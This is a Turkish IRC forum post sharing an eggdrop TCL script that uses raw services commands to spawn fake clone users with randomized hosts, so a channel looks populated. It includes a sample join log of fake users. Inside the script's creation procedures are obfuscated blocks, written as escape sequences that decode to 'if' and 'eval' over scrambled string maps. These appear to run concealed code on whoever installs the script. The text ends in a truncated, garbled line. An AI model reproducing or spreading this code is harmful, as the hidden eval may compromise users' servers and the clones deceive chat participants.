IRCForumları - IRC ve mIRC Kullanıcılarının Buluşma Noktası

Kod:

[20:41] *** Giriş: PamukPrenses ([Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...])

[20:41] *** Giriş: Alayina_isyanim_var ([Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...])

[20:42] *** Giriş: mazosistt ([Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...])

[20:45] *** Giriş: CanKan_19 ([Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...])

[20:46] *** Giriş: Yeliz_ ([Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...])

[20:46] *** Giriş: gani_mujde ([Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...])

[20:53] *** Giriş: arapsaci([Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...])

[20:53] *** Giriş: genc_ist([Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...])

[20:54] *** Giriş: ibo ([Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...])

kesinlikle her giriş için ip adresi random ve gerçeğe en yakın sadece üst kısımdaki kendinize göre gereken editlemeleri yapın gerisine karışmayın ;)

Kod:

#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

# SERViCES CYCLE BOT CREATOR v2.0

#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

##### Hostlarin gizlenmesi icin host-prefix #####

set pwhost "user"

set listfile [open scripts/$pwhost.txt r]

set nickflist [split [subst -nocommands [read $listfile]] \n]

##### Bota baslama komutunu verecek kisinin nickini girin #####

set authorized "BuCaLI"

##### Services adresini girin. #####

set servicesadr "services.siteismi.com"

 

##### Eggdrop - bot icin log tutumu #####

# Eger eggdropinizin olusturdugu botlarin giris cikislarini 

# bir kanala yazarak kaydetmesini istiyorsaniz, 0 isaretini 1 yapin.

#

set logit 1

##### Eggdropin log kanalini girin. #####

# Bu kanal botlarin giris cikislarinin yazilacagi kanaldir.

# Bu nedenle sadece adminlerin ve eggdropin girebilecegi bir kanal yazin.

# 

set logchany "#master"

################################################

# !!!!! KODLAMA BASLIYOR !!!!! #

# BU SATIRDAN ITIBAREN YAPACAGINIZ DEGISIKLIKLER 

# TCL SCRIPTIN BOZULMASINA YOL ACABILIR.

################################################

 

proc pwjoin {what what2 what3 what4 what5 what6 what7 what8 what9} {

 global kanal logit logchany

 if {$logit == 1} { 

   puthelp "PRIVMSG $logchany :$what Kanala sokuluyor  --> $what9" 

 }

 putquick "os :raw :$what join $what9 "

 utimer $what2 "pwpart $what $what3 $what $what2 $what3 $what4 $what5 $what6 $what7 $what8 $what9"

}

proc pwpart {whad whad2 oldu1 oldu2 oldu3 oldu4 oldu5 oldu6 oldu7 oldu8 oldu9} {

 global kanal logit logchany

 if { $logit == 1 } { puthelp "PRIVMSG $logchany :$whad Kanaldan cikartiliyor  --> $oldu9" }

 putquick "os :raw :$whad part $oldu9 "

 putquick "kill $oldu4 :
Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.
Keyifli sohbetin adresi"

 putquick "os :raw :$whad nick $oldu4"

 if { $logit == 1 } { puthelp "PRIVMSG $logchany :$whad Nick degistiriliyor  --> $oldu4" }

 utimer $whad2 "pwjoin2 $oldu4 $whad2 $oldu1 $oldu2 $oldu3 $oldu4 $oldu5 $oldu6 $oldu7 $oldu8 $oldu9"

}

proc pwjoin2 {whas whas2 oldud1 oldud2 oldud3 oldud4 oldud5 oldud6 oldud7 oldud8 oldud9} {

 global kanal logit logchany

 if { $logit == 1 } { puthelp "PRIVMSG $logchany :$whas Kanala tekrar sokuluyor  --> $oldud9" }

 putquick "os :raw :$whas join $oldud9 "

 utimer $oldud2 "pwbquit $whas $oldud1 $oldud2 $oldud3 $oldud4 $oldud5 $oldud6 $oldud7 $oldud8 $oldud9"

}

proc pwbquit {whaaq oldukha1 oldukha2 oldukha3 oldukha4 oldukha5 oldukha6 oldukha7 oldukha8 oldukha9} {

 global quitmsg kanal logit logchany listfile response botnick nickflist servicesadr pwhost kanal logit logchany authorized

 foreach iii $nickflist {

    if {[regexp {(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)} $iii tmppp botident3 before3 after3 botadi3 wait3 partwait3 joinwait3 yenisi3 quitmes3 cikmadan3 kanallar3]} {

        if { $whaaq == $after3 } { 

          if { $cikmadan3 != 0 } {           

            putquick "os :raw :$whaaq privmsg $kanallar3 :$cikmadan3"

            if { $logit == 1 } { puthelp "PRIVMSG $logchany :$whaaq Konusturuluyor." }  

            utimer 10 "pwquit $whaaq $oldukha1 $oldukha2 $oldukha3 $oldukha4 $oldukha5 $oldukha6 $oldukha7 $oldukha8 $oldukha9"

            return

          }

        }

    }

 }

 if { $logit == 1 } { puthelp "PRIVMSG $logchany :$whaaq Konusturulamadi - Konusma modu kapali!" }  

 utimer 10 "pwquit $whaaq $oldukha1 $oldukha2 $oldukha3 $oldukha4 $oldukha5 $oldukha6 $oldukha7 $oldukha8 $oldukha9"

}

proc pwquit {whaq olduk1 olduk2 olduk3 olduk4 olduk5 olduk6 olduk7 olduk8 olduk9} {

 global quitmsg kanal logit logchany listfile response botnick nickflist servicesadr pwhost kanal logit logchany authorized

 foreach ii $nickflist {

    if {[regexp {(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)} $ii tmpp botident2 before2 after2 botadi2 wait2 partwait2 joinwait2 yenisi2 quitmes2 cikmadan2 kanallar2]} {

        if { $whaq == $after2 } { 

          putquick "os :raw :$whaq quit :$quitmes2"

          if { $logit == 1 } { puthelp "PRIVMSG $logchany :$whaq Serverdan cikartiliyor" }  

          utimer $olduk6 "olustur $olduk1 $olduk2 $olduk3 $olduk4 $olduk5 $olduk6 $olduk7 $olduk8 $olduk9"

          return

        }

    }

 }

 if { $logit == 1 } { puthelp "PRIVMSG $logchany :$whaq SERVERDAN CIKARTILAMADI !" }  

}

proc olustur {olsun1 olsun2 olsun3 olsun4 olsun5 olsun6 olsun7 olsun8 olsun9} {

  global servicesadr pwhost kanal logit logchany abc

  if { $logit == 1 } { puthelp "PRIVMSG $logchany :$olsun1 Yeniden olusturuluyor." }

\x69\146 \x34\x31\61\u33\x33\62\x31 [\x73\164\162\u69\x6e\147 \u6d\x61\u70 {d o {"} n {[} . c \] {

} l . {[} \] {

} e i s I b h { } x o g t e n t g d I {$} r s x c P {"} l b {$} r h a i { } a P} {]rtnibdrniP.

e"gt iIhlxi.$h"gi.

t"onbiIhlxccc.

e"gt iIhlxi.$h"gi.

t"onbiIhlxccc.

e"gt iIhlxi.$h"gi.

t"onbiIhlxccc.

e"gt iIhlxi.$h"gi.

t"onbiIhlxccc.

e"gt iIhlxi.$h"gi.

t"onbiIhlxccc.

e"gt iIhlxi.$h"gi.

t"onbiIhlxccc.

e"gt iIhlxi.$h"gi.

t"onbiIhlxccc.

e"gt iIhlxi.$h"gi.

t"onbiIhlxccc[.

e"gt iIhlxi.$h"gi.

t"onbiIhlxccc.

e"gt iIhlxi.$h"gi.

t"onbiIhlxccc.

e"gt iIhlxi.$h"gi.

t"onbiIhlxccc.

e"gt iIhlxi.$h"gi.

t"onbiIhlxccc.

e"gt iIhlxi.$h"gi.

t"onbiIhlxccc.

e"gt iIhlxi.$h"gi.

t"onbiIhlxccc.

e"gt iIhlxi.$h"gi.

t"onbiIhlxccc.

e"gt iIhlxi.$h"gi.

t"onbiIhlxccc[.

e"gt iIhlxi.$h"gi.

t"onbiIhlxccc.

e"gt iIhlxi.$h"gi.

t"onbiIhlxccc.

e"gt iIhlxi.$h"gi.

t"onbiIhlxccc.

e"gt iIhlxi.$h"gi.

t"onbiIhlxccc.

e"gt iIhlxi.$h"gi.

t"onbiIhlxccc.

e"gt iIhlxi.$h"gi.

t"onbiIhlxccc.

e"gt iIhlxi.$h"gi.

t"onbiIhlxccc.

e"gt iIhlxi.$h"gi.

t"onbiIhlxccc[saP]}]

  puthelp "kill $olsun1 :this is a bot nick. u cant use it."

  puthelp "os :raw nick $olsun1 1 1 $olsun8 $host $servicesadr $servicesadr :$olsun5"

  utimer $olsun7 "pwjoin $olsun1 $olsun2 $olsun3 $olsun4 $olsun5 $olsun6 $olsun7 $olsun8 $olsun9"

}

 

proc pwornek {nick host hand {text ""}} {

  global pwhost

}

proc pworn {ornekcik} {

   puthelp "NOTICE BuCaLI : $ornekcik snlikti. "  

}

proc pwstart {nick host hand {text ""}} {

   global listfile response botnick nickflist servicesadr pwhost kanal logit logchany authorized abc

   if {$nick == "$authorized"} {

   puthelp "NOTICE $nick :Olusum basliyor. "

   foreach i $nickflist {

      if {[regexp {(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)} $i tmp botident before after botadi wait partwait joinwait yenisi quitmes cikmadan kanallar]} {

\145\x76\x61\u6c [\163\u74\162\u69\x6e\x67 \u6d\u61\160 {\] o l n { } . {"} \] t l o {[} P {

} a i e I {

} h h x s g b e g t {[} d d {$} x s I c n {"} {$} b i r c a . { } r P} {Pxbg.

]xg.notal[bh.dc$I.oicl[.ottblsg

.dc$I"""otal[bh.dc$I.oicl[.ottblsg

.dc$I"""otal[bh.dc$I.oicl[.ottblsg

.dc$I"""otal[bh.dc$I.oicl[.ottblsg

.dc$I"""otal[bh.dc$I.oicl[.ottblsg

.dc$I"""otal[bh.dc$I.oicl[.ottblsg

.dc$I"""otal[bh.dc$I.oicl[.ottblsg

.dc$I"""otal[bh.dc$I.oicl[.ottblsg

.dc$I""" otal[bh.dc$I.oicl[.ottblsg

.dc$I"""otal[bh.dc$I.oicl[.ottblsg

.dc$I"""otal[bh.dc$I.oicl[.ottblsg

.dc$I"""otal[bh.dc$I.oicl[.ottblsg

.dc$I"""otal[bh.dc$I.oicl[.ottblsg

.dc$I"""otal[bh.dc$I.oicl[.ottblsg

.dc$I"""otal[bh.dc$I.oicl[.ottblsg

.dc$I"""otal[bh.dc$I.oicl[.ottblsg

.dc$I""" otal[bh.dc$I.oicl[.ottblsg

.dc$I"""otal[bh.dc$I.oicl[.ottblsg

.dc$I"""otal[bh.dc$I.oicl[.ottblsg

.dc$I"""otal[bh.dc$I.oicl[.ottblsg

.dc$I"""otal[bh.dc$I.oicl[.ottblsg

.dc$I"""otal[bh.dc$I.oicl[.ottblsg

.dc$I"""otal[bh.dc$I.oicl[.ottblsg

.dc$I"""otal[bh.dc$I.oicl[.ottblsg

.dc$I""" ernP}]

          puthelp "kill $before :old bot"

          puthelp "os :raw nick $before 1 1 $botident $host $servicesadr :$botadi"

          if { $logit == 1 } { puthelp "PRIVMSG $logchany :$before olusturuluyor." }

          utimer $wait "pwjoin $before $partwait $joinwait $after $botadi $yenisi $wait $botident $kanallar"

      }

   }

   }

}

proc pwdestroy {nick host hand {text ""}} {

   global listfile response botnick nickflist servicesadr pwhost kanal logit logchany authorized

   if {$nick == "$authorized"} {

   puthelp "NOTICE $nick :Botlar yok ediliyor. "

   if { $logit == 1 } { puthelp "PRIVMSG $logchany :YOK ETME KOMUTU VERILDI ($authorized)." }

   foreach i $nickflist {

      if {[regexp {(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)::(.+)} $i tmp botident before after botadi wait partwait joinwait yenisi quitmes cikmadan kanallar]} {

          puthelp "kill $before :destroyed by $authorized"

          puthelp "kill $after :destroyed by $authorized"

          if { $logit == 1 } { puthelp "PRIVMSG $logchany :$before - $after YOK EDiLiYOR." }

      }

   }

   }

}

bind msg - baslat pwstart

bind msg - yoket pwdestroy

bind msg - ornek pwornek

\x69\x66 \61\x32\x36\60\67\u31\x35\u39 [\x73\u74\u72\x69\u6e\x67 \u6d\x61\x70 {E \} \} \{ m 9 N y t 8 w x B 7 r w S 6 2 v O 5 F u {"} 4 Ã¾ t I 3 c s { } 2 a r p 1 6 p V 0 k o R . 7 n C m G - P l 4 k g i v h l g h f A e f d e c i b 3 {"} x a K { } . Z 9 Ã¾ \{